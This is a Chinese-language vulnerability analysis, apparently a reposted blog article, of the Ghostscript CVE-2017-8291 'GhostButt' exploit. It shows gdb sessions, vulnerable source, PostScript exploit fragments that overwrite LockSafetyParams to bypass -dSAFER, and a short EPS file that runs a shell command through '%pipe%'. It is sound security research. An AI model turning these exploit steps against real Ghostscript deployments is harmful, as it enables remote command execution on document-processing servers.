内容简介:GhostButt - CVE-2017-8291利用分析
作者: binjo
- GhostButt - CVE-2017-8291利用分析
- .rsdparams Type Confusion?
- .eqproc Type Confusion
- aload Manipulating o_stack
GhostButt - CVE-2017-8291利用分析
HipChat于2017年4月24日发出一篇博文, 声明其检测到一起安全事件,一台云端Server受某第三方库存在的漏洞而被入侵。随后twitter网友根据其补丁情况,猜测是Ghostscript的SAFER模式bypass。HD Moore随后建了个GhostButt.com网站,使之成为又一个有名的漏洞。
Ghostscript是一个流行的PostScript语言的解析器,许多软件的某些组件都信赖它来完成相应功能,因而也会受Ghostscript漏洞影响。本文以Metasploit的相关exploit为例进行深入分析,基于Ghostscript 9.21及Debain 64bit系统,读者可从Ghostscript官网下载存在漏洞的源码。
推荐以debug模式编译,生成符号,方便后续调试。
$ cd ghostscript-9.21 $ ./autogen.sh $ make debug $ ./debugbin/gs --version 9.21
.rsdparams Type Confusion?
参照CVE-2017-8291在MITRE上的说明,漏洞是在.rsdparams操作符中存在type confusion。
Artifex Ghostscript through 2017-04-26 allows -dSAFER bypass and remote command execution via .rsdparams type confusion with a "/OutputFile (%pipe%" substring in a crafted .eps document that is an input to the gs program, as exploited in the wild in April 2017.
按其补丁,可知.rsdparams operator实现在psi/zfrsd.c中的zrsdparams函数中。然而,对zrsdparams下断点,却发现并没有命中,程序已经输出vulnerable字样了。
$ gdb -q ./debugbin/gs Loaded 108 commands. Type pwndbg [filter] for a list. Reading symbols from ./debugbin/gs...done. pwndbg> set args -q -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f ../CVE-2017-8291.eps pwndbg> b zrsdparams Breakpoint 1 at 0x6e0c49: file ./psi/zfrsd.c, line 48. pwndbg> r Starting program: /root/Desktop/ghostscript-9.21/debugbin/gs -q -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f ../CVE-2017-8291.eps [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". [New process 24818] [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". process 24818 is executing new program: /bin/dash Error in re-setting breakpoint 1: Function "zrsdparams" not defined. vulnerable [Inferior 2 (process 24818) exited normally]
由exploit源码已知echo vulnerable是通过/OutputFile %pipe%管道转向形成的,在源码中搜索pipe可知其实现在base/gdevpipe.c中的pipe fope函数中 ,调用了popen。对popen设断点,观察调用栈可验证在#8 frame处zoutputpage函数即.outputpapge操作符调用时已经利用成功。
pwndbg> b popen Breakpoint 1 at 0x116780 pwndbg> r Starting program: /root/Desktop/ghostscript-9.21/debugbin/gs -q -dNOPAUSE -dSAFER -sDEVICE=ppmraw -sOutputFile=/dev/null -f ../CVE-2017-8291.eps [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Breakpoint 1, _IO_new_popen (command=0x55555705dc5e "echo vulnerable"..., mode=0x7fffffffc1a4 "w") at iopopen.c:273 Breakpoint popen pwndbg> bt #0 _IO_new_popen (command=0x55555705dc5e "echo vulnerable"..., mode=0x7fffffffc1a4 "w") at iopopen.c:273 #1 0x000055555566da63 in pipe_fopen (iodev=0x55555701c928, fname=0x55555705dc5e "echo vulnerable"..., access=0x7fffffffc1a4 "w", pfile=0x55555705ec70, rfname=0x0, rnamelen=0) at ./base/gdevpipe.c:60 #2 0x0000555555aa7e99 in gx_device_open_output_file (dev=0x55555705a838, fname=0x55555705dc58 "%pipe%echo vuln"..., binary=1, positionable=0, pfile=0x55555705ec70) at ./base/gsdevice.c:1232 #3 0x0000555555854b8b in gdev_prn_open_printer_seekable (pdev=0x55555705a838, binary_mode=1, seekable=0) at ./base/gdevprn.c:1294 #4 0x0000555555853fbe in gdev_prn_output_page_aux (pdev=0x55555705a838, num_copies=1, flush=1, seekable=0, bg_print_ok=1) at ./base/gdevprn.c:1002 #5 0x000055555585467a in gdev_prn_bg_output_page (pdev=0x55555705a838, num_copies=1, flush=1) at ./base/gdevprn.c:1149 #6 0x00005555559ac1e4 in ppm_output_page (pdev=0x55555705a838, num_copies=1, flush=1) at ./devices/gdevpbm.c:315 #7 0x0000555555aa50d5 in gs_output_page (pgs=0x555556ff8798, num_copies=1, flush=1) at ./base/gsdevice.c:210 #8 0x0000555555c9a7f1 in zoutputpage (i_ctx_p=0x555557014d90) at ./psi/zdevice.c:369 #9 0x0000555555c538b0 in do_call_operator (op_proc=0x555555c9a6fa <zoutputpage>, i_ctx_p=0x555557014d90) at ./psi/interp.c:86 #10 0x0000555555c562f9 in interp (pi_ctx_p=0x555556fc4f30, pref=0x7fffffffcd90, perror_object=0x7fffffffce60) at ./psi/interp.c:1314 #11 0x0000555555c5410a in gs_call_interp (pi_ctx_p=0x555556fc4f30, pref=0x7fffffffcd90, user_errors=1, pexit_code=0x7fffffffce78, perror_object=0x7fffffffce60) at ./psi/interp.c:511 #12 0x0000555555c53f16 in gs_interpret (pi_ctx_p=0x555556fc4f30, pref=0x7fffffffcd90, user_errors=1, pexit_code=0x7fffffffce78, perror_object=0x7fffffffce60) at ./psi/interp.c:468 #13 0x0000555555c459ec in gs_main_interpret (minst=0x555556fc4e90, pref=0x7fffffffcd90, user_errors=1, pexit_code=0x7fffffffce78, perror_object=0x7fffffffce60) at ./psi/imain.c:243 #14 0x0000555555c46a16 in gs_main_run_string_end (minst=0x555556fc4e90, user_errors=1, pexit_code=0x7fffffffce78, perror_object=0x7fffffffce60) at ./psi/imain.c:661 #15 0x0000555555c468e0 in gs_main_run_string_with_length (minst=0x555556fc4e90, str=0x555557019d50 "<2e2e2f4356452d"..., length=50, user_errors=1, pexit_code=0x7fffffffce78, perror_object=0x7fffffffce60) at ./psi/imain.c:619 #16 0x0000555555c46852 in gs_main_run_string (minst=0x555556fc4e90, str=0x555557019d50 "<2e2e2f4356452d"..., user_errors=1, pexit_code=0x7fffffffce78, perror_object=0x7fffffffce60) at ./psi/imain.c:601 #17 0x0000555555c4a45a in run_string (minst=0x555556fc4e90, str=0x555557019d50 "<2e2e2f4356452d"..., options=3) at ./psi/imainarg.c:979 #18 0x0000555555c4a3d5 in runarg (minst=0x555556fc4e90, pre=0x555555de00a3 "", arg=0x7fffffffde99 "../CVE-2017-829"..., post=0x555555de025d ".runfile", options=3) at ./psi/imainarg.c:969 #19 0x0000555555c4a0b0 in argproc (minst=0x555556fc4e90, arg=0x7fffffffde99 "../CVE-2017-829"...) at ./psi/imainarg.c:902 #20 0x0000555555c4836a in gs_main_init_with_args (minst=0x555556fc4e90, argc=8, argv=0x7fffffffda88) at ./psi/imainarg.c:238 #21 0x000055555566aa51 in main (argc=8, argv=0x7fffffffda88) at ./psi/gs.c:96 #22 0x00007ffff67562b1 in __libc_start_main (main=0x55555566a9e0 <main>, argc=8, argv=0x7fffffffda88, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffda78) at ../csu/libc-start.c:291 #23 0x000055555566a8da in _start ()
所以,漏洞究竟在哪呢?在讲解具体漏洞前,为方便理解下文,先简单介绍一下postscript语言及Ghostscript解析postscript的操作数堆栈相关变量。 PostScript是一种图灵完全的编程语言,也是一种基于堆栈的解释语言, 它类似于Forth语言但是使用从Lisp语言派生出的数据结构。代码示例请参考wikipedia中的具体描述,或其官方文档。postscript语言使用操作数堆栈(operator stack)保存操作数,在Ghostscript实现中,变量名osbot,osp和ostop分别代表operator stack的栈底、栈指针及栈顶,其堆栈是处于heap内存中,且从低地址向高地址生成、使用的。
.eqproc Type Confusion
经过调试,漏洞就在.eqproc这个操作符的实现里,其调用方式如下,它从operator stack上取得两个操作数,对其进行比较,再返回一个boolean值,压入operator stack栈。
<proc1> <proc2> .eqproc <bool>
由于未对取得操作数的type进行验证,导致operator stack上的任意操作数都可以拿来比较。有经验的读者可能已经发现问题所在,通过loop循环调用.eqproc,该type confusion漏洞可以导致operator stack的堆栈指针上溢。注意上溢后,后续的操作数入栈等写入操作都可以认为是一个受限的写原语(write primitive)。
static int zeqproc(i_ctx_t *i_ctx_p) { os_ptr op = osp; ref2_t stack[MAX_DEPTH + 1]; ref2_t *top = stack; make_array(&stack[0].proc1, 0, 1, op - 1); // get two operands make_array(&stack[0].proc2, 0, 1, op); ...... /* An exit from the loop indicates that matching failed. */ make_false(op - 1); // limited write primitive pop(1); return 0; }
aload Manipulating o_stack
一个堆栈指针上溢能怎么利用呢?本exploit其实利用了另一个操作符aload,使得堆栈指针被更新到一个string buffer后续的heap上,通过上溢及写原语,攻击者可以推断后续osp栈指针相对地址,从而通过string操作后续入栈的对象,改写其属性。个人认为,这是利用成功的关键,且并未得到修补。
<array> aload <obj_0> ... <obj_n-1> <array>
当array实例的size超过当前operator stack空余空间时,zaload会通过ref stack push调用进行内存分配,重新分配栈空间后改写堆栈指针osp。相关代码处于psi/zarray.c的zaload函数定义中。
if (asize > ostop - op) { /* Use the slow, general algorithm. */ int code = ref_stack_push(&o_stack, asize); uint i; const ref_packed *packed = aref.value.packed; if (code < 0) return code; for (i = asize; i > 0; i--, packed = packed_next(packed)) packed_get(imemory, packed, ref_stack_index(&o_stack, i)); *osp = aref; return 0; }
代码虽少,不如调试器中看得直观。我们修改原exploit如下,添加print语句,调试器中设置断点在zprint,去GDB中一探究竟。
buffers (xxx) print pop % discard buffers on operator stack enlarge array aload (after aload) print
GDB中对zprint设断点,继续执行后,我们检查operator stack的栈底、栈指针及对应buffers在内存中的内容:
pwndbg> b zprint Breakpoint zprint pwndbg> p osbot // current operator stack bottom $2 = (s_ptr) 0x555556ffd7b8 pwndbg> p osp // current operator stack pointer $3 = (s_ptr) 0x555556ffd7c8 pwndbg> x/4gx osbot 0x555556ffd7b8: 0x0000006f0000047e 0x0000555557291de0 // buffers 0x555556ffd7c8: 0x0000000356fc127e 0x000055555784c7fd // xxx string pwndbg> p r_type((ref *)$2) == t_array $4 = 1 pwndbg> x/10gx 0x0000555557291de0 + 111*0x10 - 0x30 // 111 items 0x5555572924a0: 0x0000fa0056fc127e 0x00005555578dc028 0x5555572924b0: 0x0000fbf456fc127e 0x00005555578ee9c4 0x5555572924c0: 0x0000fde856fc127e 0x0000555557901580 // last item 0x5555572924d0: 0x0000000000000c00 0x0000000000000000 0x5555572924e0: 0x0000002800000000 0x00005555560b6740 pwndbg> x/10gx 0x0000555557901580 + 65000 - 0x30 // last item string buffer, size 65000 0x555557911338: 0x0000000000000000 0x0000000000000000 0x555557911348: 0x0000000000000000 0x0000000000000000 0x555557911358: 0xffffffffffffffff 0xffffffffffffffff // mark bytes 0x555557911368: 0x0000000000000000 0x0000000000000000 0x555557911378: 0x0000000000000000 0x0000000000000000
aload操作符执行完毕后,再次检查栈底和栈指针,可以确认均已经指向前面分配的string buffer内存之后了。
pwndbg> c Breakpoint zprint pwndbg> p osbot $5 = (s_ptr) 0x555557914448 // osbot under 0x0000555557901580!!! pwndbg> p osp $6 = (s_ptr) 0x555557916178 // osp under 0x0000555557901580!!! pwndbg> x/2gx osp 0x555557916178: 0x0000000b56fc127e 0x00005555572940c3 pwndbg> p (char *)0x00005555572940c3 $7 = 0x5555572940c3 "after aload\006?"
SAFER Bypass
栈指针被重新分配后,便可以利用前述的.eqproc操作符进去上溢了。利用代码中,其分配了一个buffersearchvars array来保存搜索用变量,循环检查所有buffers里的string字符串末尾的0xff是否被修改,从而判定上溢的栈指针osp到达可控范围,与string buffer重叠。利用string buffer改写后续入栈的currentdevice对象属性,使之成为一个较大的string,保存至sdevice array中,再覆盖其LockSafetyParams属性,达到SAFER模式bypass。该利用中分别覆写了内存偏移0x3e8,0x3b0和0x3f0处内容为0(false),但在我的环境中,0x3b0和0x3f0处内容始终为0,估计是其它版本或系统中LockSafetyParams的偏移有所不同。
{ .eqproc buffersearchvars 0 buffersearchvars 0 get 1 add put buffersearchvars 1 0 put buffersearchvars 2 0 put buffercount { buffers buffersearchvars 1 get get buffersizes buffersearchvars 1 get get 16 sub get 254 le { % 0xFF overwritten? buffersearchvars 2 1 put % yes buffersearchvars 3 buffers buffersearchvars 1 get get put buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put } if buffersearchvars 1 buffersearchvars 1 get 1 add put } repeat buffersearchvars 2 get 1 ge { exit } if %(.) print } loop .eqproc .eqproc .eqproc sdevice 0 % store ref of converted device object currentdevice (before convert to string type) print buffersearchvars 3 get buffersearchvars 4 get 16#7e put % 0x127e, string type buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put % size, 0xffxxxxxx (convert done) print put sdevice 0 get 16#3e8 0 put % LockSafetyParams offset sdevice 0 get 16#3b0 0 put % other version/os offset? sdevice 0 get 16#3f0 0 put % other version/os offset? (LockSafetyParams -> 0) print
话不多说,继续调试器中见真章。
Breakpoint zprint pwndbg> p osp $8 = (s_ptr) 0x555557911368 // 栈指针上溢,与string buffer重叠 pwndbg> x/4gx $8-1 0x555557911358: 0xffffffffffff1378 0x000055555705a838 // 0xFF 已经被后续入栈的currentdevice覆盖 0x555557911368: 0x0000001d56fc127e 0x000055555729409e pwndbg> p (char *)0x000055555729409e $9 = 0x55555729409e "before convert "... pwndbg> p r_type((ref *)0x555557911358) == t_device // 当前依然是device对象 $10 = 1 pwndbg> p (gx_device *)0x000055555705a838 $11 = (gx_device *) 0x55555705a838 pwndbg> p $11->LockSafetyParams // 表明处于SAFER模式中 $12 = 1 pwndbg> c Breakpoint zprint pwndbg> x/4gx osp-1 0x555557911358: 0xffffffffffff127e 0x000055555705a838 // 0x127e 写入 0x555557911368: 0x0000000c56fc127e 0x000055555729408a pwndbg> p r_type((ref *)0x555557911358) == t_string // 成为string对象 $13 = 1 pwndbg> p/x r_size((ref *)0x555557911358) $14 = 0xffffffff pwndbg> p (char *)0x000055555729408a $15 = 0x55555729408a "convert done\261?" pwndbg> x/2gx 0x000055555705a838 + 0x3e8 0x55555705ac20: 0x0000000000000001 0x0000000000000000 // 0x3e8处内存尚未改写 pwndbg> c Breakpoint zprint pwndbg> x/2gx osp 0x555557911338: 0x0000001556fc127e 0x000055555729406d pwndbg> p (char *)0x000055555729406d $16 = 0x55555729406d "LockSafetyParams -> 0\262?" pwndbg> x/2gx 0x000055555705a838 + 0x3e8 0x55555705ac20: 0x0000000000000000 0x0000000000000000 pwndbg> p (gx_device *)0x000055555705a838 $17 = (gx_device *) 0x55555705a838 pwndbg> p $17->LockSafetyParams // 改写成功,SAFER bypassed $18 = 0
至此,SAFER模式bypass成功,但利用代码还需继续调用aload,重新分配栈空间以免garbage collect时崩溃,最后通过.putdeviceparams设置好/OutputFile为(%pipe%echo vulnerable > /dev/tty)字符串,并调用.outputpage飞向光明之巅!
后记
GhostButt利用一个type混淆漏洞,及operand stack栈指针再分配指向可控内存,从而转化成栈指针上溢,使其可以混淆device对象为一个字符串,最终覆盖device的LockSafetyParams属性,达到SAFER模式bypass。其利用可以认为是TK教主的点穴大法,或者说yuange的DVE攻击。不到100行的postscript利用代码,精彩漂亮!而aload操作符的问题并没有被修补,配合其它漏洞,依然可以使用该方法进行利用。
许久没写文章,疏漏在所难免,欢迎到微博联系指正。@binjo_ 欢迎转发分享,或者打赏一杯咖啡钱。二维码 :)
禅(xian)定(zhe)时刻
不指定-dSAFER模式下,device->LockSafetyParams默认是false,9.21版本下依然可以执行%pipe%管道命令,可是最新版本Ghostscript却不行了,这是为啥呢?
$ cat /root/test.eps %!PS-Adobe-3.0 EPSF-3.0 %%BoundingBox: -0 -0 100 100 currentdevice null false mark /OutputFile (%pipe%echo vulnerable > /dev/tty) .putdeviceparams 1 true .outputpage 0 0 .quit $ ./debugbin/gs -q -dNOPAUSE -sDEVICE=ppmraw -sOutputFile=/dev/null -f /root/test.eps vulnerable $ cd /root/repos/ghostpdl $ git log -1 commit 3ded6c3b28a1b183a492ada2f2a3970953f3d060 Author: Henry Stiles <henry.stiles@artifex.com> Date: Sun May 28 21:27:41 2017 -0600 Increment the PJL stream pointer for illegal characters. When an illegal character is encountered within a PJL command we exit with end of job. With recent changes it is necessary to increment the stream pointer as well because the PJL interpreter is reinvoked upon UEL resulting in an infinite loop. $ ./debugbin/gs -q -dNOPAUSE -sDEVICE=ppmraw -sOutputFile=/dev/null -f /root/test.eps Error: /undefined in .putdeviceparams Operand stack: --nostringval-- --nostringval-- false --nostringval-- OutputFile (%pipe%echo vulnerable > /dev/tty) Execution stack: %interp_exit .runexec2 --nostringval-- --nostringval-- --nostringval-- 2 %stopped_push --nostringval-- --nostringval-- --nostringval-- false 1 %stopped_push 1967 1 3 %oparray_pop 1966 1 3 %oparray_pop --nostringval-- 1950 1 3 %oparray_pop 1836 1 3 %oparray_pop --nostringval-- %errorexec_pop .runexec2 --nostringval-- --nostringval-- --nostringval-- 2 %stopped_push --nostringval-- Dictionary stack: --dict:969/1684(ro)(G)-- --dict:0/20(G)-- --dict:82/200(L)-- Current allocation mode is local Current file position is 148 GPL Ghostscript GIT PRERELEASE 9.22: Unrecoverable error, exit code 1
参考
https://blog.hipchat.com/2017/04/24/hipchat-security-notice/
https://twitter.com/wdormann/status/857217642377216000
https://github.com/rapid7/metasploit-framework/pull/8316
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-8291
https://git.ghostscript.com/?p=ghostpdl.git;a=commit;h=04b37bbce174eed24edec7ad5b920eb93db4d47d
https://zh.wikipedia.org/wiki/PostScript
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- SILENTTRINITY利用分析
- CVE-2018-8453漏洞分析利用
- 微软漏洞CVE-2017-11885分析与利用
- 利用分析函数改写范围判断自关联查询
- 利用MAT来分析JAVA内存泄露
- 如何利用开源威胁信息分析APT团伙
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
期货趋势程序化交易方法
马文胜 编 / 中国财政经济 / 2008-1 / 42.00元
《期货趋势程序化交易方法》可作为学习期货行业的教程。中国期货行业非常重视期货人才队伍的建设,无论是在抓紧推进期货分析师的认证体系建设、提升期货分析师的执业水平上,还是在专业人才的后续教育上。 要想在期货市场上长期生存并保持稳定的获利,必须在充分认识市场的基础上,建立一个有效的系统化的手段和程序化的方法,把一切的复杂性和不确定性全部加以量化,使所有的交易有序而直观,才能最终达到低风险、低回报。一起来看看 《期货趋势程序化交易方法》 这本书的介绍吧!